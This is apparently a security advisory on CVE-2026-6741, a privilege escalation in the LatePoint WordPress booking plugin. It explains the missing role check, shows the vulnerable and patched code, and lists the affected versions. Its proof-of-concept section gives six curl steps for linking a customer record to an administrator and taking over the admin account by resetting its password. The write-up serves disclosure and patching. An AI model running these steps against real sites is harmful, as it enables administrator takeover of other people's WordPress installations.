Introduction
A missing authorization check in the LatePoint WordPress booking plugin allows any user with the latepoint_agent role to link a customer record to an administrator's account and then reset the admin's password, achieving a clean privilege escalation to full site control. With over 100,000 active installations, this flaw (CVE-2026-6741, CVSS 8.8) represents a significant risk across the WordPress ecosystem.
LatePoint is a calendar booking and appointment scheduling plugin for WordPress, developed by LatePoint LLC. It targets service oriented businesses such as salons, photographers, and auto detailing shops, providing booking interfaces and customer management. The plugin's 100,000+ active installations, as reported by both the vendor and the WordPress plugin repository, give it a meaningful footprint in the WordPress plugin landscape.
Technical Information
Root Cause: Missing Role Verification in the Abilities API
The vulnerability lives in lib/abilities/customers/connect-customer-to-wp-user.php, specifically in the execute() method of the connect-customer-to-wp-user ability. This ability is registered via the WordPress Abilities API (introduced in WordPress 6.9+) and is designed to link a LatePoint customer record to a WordPress user account.
The vulnerable code in version 5.4.1 performs an existence check on the target WordPress user but never inspects what roles that user holds:
// v5.4.1 (VULNERABLE) public function execute( array $args ) { $customer = new OsCustomerModel( (int) $args['customer_id'] ); if ( $customer->is_new_record() ) { return new WP_Error( 'not_found', ... ); } $wp_user_id = (int) $args['wp_user_id']; if ( ! get_userdata( $wp_user_id ) ) { // Only checks: does the user exist? // MISSING: does the user have a non-privileged role? return new WP_Error( 'wp_user_not_found', ... ); } $customer->wordpress_user_id = $wp_user_id; // links customer to any WP user $customer->save(); return $this->serialize_customer( ... ); }
The critical omission is clear: get_userdata() confirms the user exists, but the code discards the returned user object and never examines its roles property. The method then directly assigns $wp_user_id to the customer record and saves it.
Why the Default Role Configuration Matters
Executing this ability requires only the customer__edit capability. As defined in lib/helpers/roles_helper.php, the latepoint_agent role is granted customer__edit by default. This means any authenticated user with the agent role, a role intended for staff members who manage bookings, possesses the exact permission needed to trigger the vulnerable method.
Attack Flow
The exploitation path is straightforward and requires no user interaction:
-
Authenticate as an agent. The attacker needs a WordPress account with the
latepoint_agentrole. This could be a legitimate staff account or one obtained through other means. -
Identify the target. The attacker determines the WordPress user ID of an administrator. This is commonly
1for the first admin account and is also discoverable via the WordPress REST API endpoint/wp-json/wp/v2/users. -
Link a customer record to the admin. The attacker calls the
connect-customer-to-wp-userability endpoint, supplying acustomer_idthey control and the administrator'swp_user_id. The ability executes successfully because the agent hascustomer__editand the code never checks the target user's role. -
Reset the password. The attacker initiates LatePoint's customer password reset flow using the email address associated with the customer record they control. LatePoint sends a reset token to the attacker's email.
-
Overwrite the admin password. The attacker completes the password reset. Internally, LatePoint's
update_password()method callswp_set_password()on thewordpress_user_idfield of the customer record, which now points to the administrator. The admin's password is overwritten with the attacker's chosen value. -
Log in as administrator. The attacker authenticates with the new password and has full administrative access to the WordPress site.
Proof of Concept
A public proof of concept for CVE-2026-6741 is available, documented in a detailed blog post by Abu Hurayra and corroborated by the Wordfence advisory. The following reproduction steps are drawn from those sources.
Prerequisites:
- WordPress 6.9+ with LatePoint plugin version 5.4.1 or earlier installed and activated.
- An attacker account with the
latepoint_agentWordPress role. - The WordPress Abilities API enabled (default in 5.4.1).
- Knowledge of the target admin's WordPress user ID (commonly
1; also discoverable via/wp-json/wp/v2/users).
Step 1: Authenticate as agent and obtain a REST API nonce.
WP_URL="https://target.example.com" AGENT_USER="agent_user" AGENT_PASS="agent_password" curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \ -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check" NONCE=$(curl -s -b cookies.txt "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce" 2>/dev/null) echo "Nonce: $NONCE"
Step 2: Identify a LatePoint customer record you control (create one via the booking form if needed). Note its customer_id.
CUSTOMER_ID=5
Step 3: Link the customer record to the administrator's WordPress user via the vulnerable ability endpoint.
ADMIN_WP_USER_ID=1 curl -s -b cookies.txt -X POST \ "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \ -H "Content-Type: application/json" \ -H "X-WP-Nonce: $NONCE" \ -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
A successful response returns the customer record with "wp_user_id": 1.
Step 4: Trigger a password reset for the LatePoint customer using the attacker controlled email.
CUSTOMER_EMAIL="[email protected]" curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint sends a password reset email containing an account_nonse token to $CUSTOMER_EMAIL.
Step 5: Complete the password reset with a new password (using the token from the email).
RESET_TOKEN="<token_from_email>" NEW_PASSWORD="Attacker_Password123!" curl -s -X POST "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
This calls $customer->update_password(), which internally runs wp_set_password($NEW_PASSWORD, 1), overwriting the administrator's WordPress password.
Step 6: Log in as the WordPress administrator.
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST "$WP_URL/wp-login.php" \ -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check"
Verification:
curl -s "$WP_URL/wp-json/wp/v2/users/me" \ -H "X-WP-Nonce: $(curl -s -b admin_cookies.txt $WP_URL/wp-admin/admin-ajax.php?action=rest-nonce)" # Expected: "roles": ["administrator"]
Patch Information
The vulnerability was fixed in LatePoint version 5.4.2, released on April 24, 2026. The patch is a targeted code change inside lib/abilities/customers/connect-customer-to-wp-user.php.
The patched execute() method introduces a role based allowlist check before any linking occurs:
// v5.4.2 (PATCHED) $wp_user_id = (int) $args['wp_user_id']; $target_user = get_userdata( $wp_user_id ); if ( ! $target_user ) { return new WP_Error( 'wp_user_not_found', ... ); } // Only allow linking to non-privileged WP accounts using an allowlist of roles. $allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, 'subscriber', 'customer' ]; $user_roles = (array) $target_user->roles; if ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) { return new WP_Error( 'privileged_user', __( 'Cannot link a customer to a privileged WordPress account.', 'latepoint' ), [ 'status' => 403 ] ); } $customer->wordpress_user_id = $wp_user_id; $customer->save();
The fix introduces three important defense layers:
-
Storing the user object. The return value of
get_userdata()is now captured in$target_user, making the user object available for role inspection rather than discarding it after the existence check. -
Defining a strict allowlist. An explicit array of allowed roles (
LATEPOINT_WP_CUSTOMER_ROLE,subscriber,customer) is defined. These are non privileged roles appropriate for customer accounts. Any role not in this list, such asadministrator,editor, orshop_manager, is treated as privileged. -
Performing an
array_diff()check. The code computesarray_diff($user_roles, $allowed_roles). If the target user holds any role outside the allowlist, or has no roles at all, the operation is blocked with a403 Forbiddenresponse and the descriptive error codeprivileged_user.
This is a textbook example of positive security modeling: instead of trying to blacklist dangerous roles (which is fragile because custom roles or plugins could introduce new privileged ones), the patch explicitly enumerates which roles are safe. Any role not named in the allowlist is denied by default. The approach ensures that even if a site adds custom high privilege roles, the ability will refuse to link to those accounts.
Additionally, version 5.4.2 disables the Abilities API by default behind a filter (latepoint_enable_abilities), adding a second layer of defense.
Affected Systems and Versions
| Plugin Version | Security Status | Recommended Action |
|---|---|---|
| 5.4.1 and all earlier versions | Vulnerable to CVE-2026-6741 | Immediate upgrade required |
| 5.4.2 (released April 24, 2026) | Patched | Safe to use |
| 5.5.0 (released April 27, 2026) | Patched | Optimal target version |
The vulnerability requires:
- WordPress 6.9 or later (for the Abilities API)
- LatePoint plugin version 5.4.1 or earlier, installed and activated
- At least one account with the
latepoint_agentrole - The WordPress Abilities API enabled (default in affected versions)
Vendor Security History
LatePoint LLC has demonstrated an active maintenance cadence with a recent focus on security hardening. The plugin's changelog reveals multiple security updates throughout March and April 2026. Versions 5.3.1, 5.4.0, 5.4.1, and 5.4.2 all contain notes regarding addressed security bugs, with explicit credit given to Wordfence for reporting them. Earlier versions such as 5.2.10 and 5.2.11 also include notes about strengthening plugin security and hardening against potential vulnerabilities. This pattern suggests that while the plugin has had a series of security issues, the vendor is highly responsive to responsible disclosure and issues patches rapidly. The turnaround from disclosure to patch for CVE-2026-6741 was swift, with version 5.4.2 released promptly.
References
- NVD Entry for CVE-2026-6741
- CVE-2026-6741 on MITRE
- Wordfence Threat Intel Advisory
- Wordfence Advisory (alternate link)
- Abu Hurayra Blog Post: Agent Privilege Escalation in LatePoint
- Vulnerable Source: connect-customer-to-wp-user.php (v5.4.1, Trac)
- Vulnerable Source: connect-customer-to-wp-user.php (v5.4.1, SVN)
- Patched Source: connect-customer-to-wp-user.php (v5.4.2, SVN)
- roles_helper.php (v5.4.1)
- customer_model.php (v5.4.1)
- Changeset 3514330
- LatePoint on WordPress.org
- LatePoint v5.4.2 readme.txt



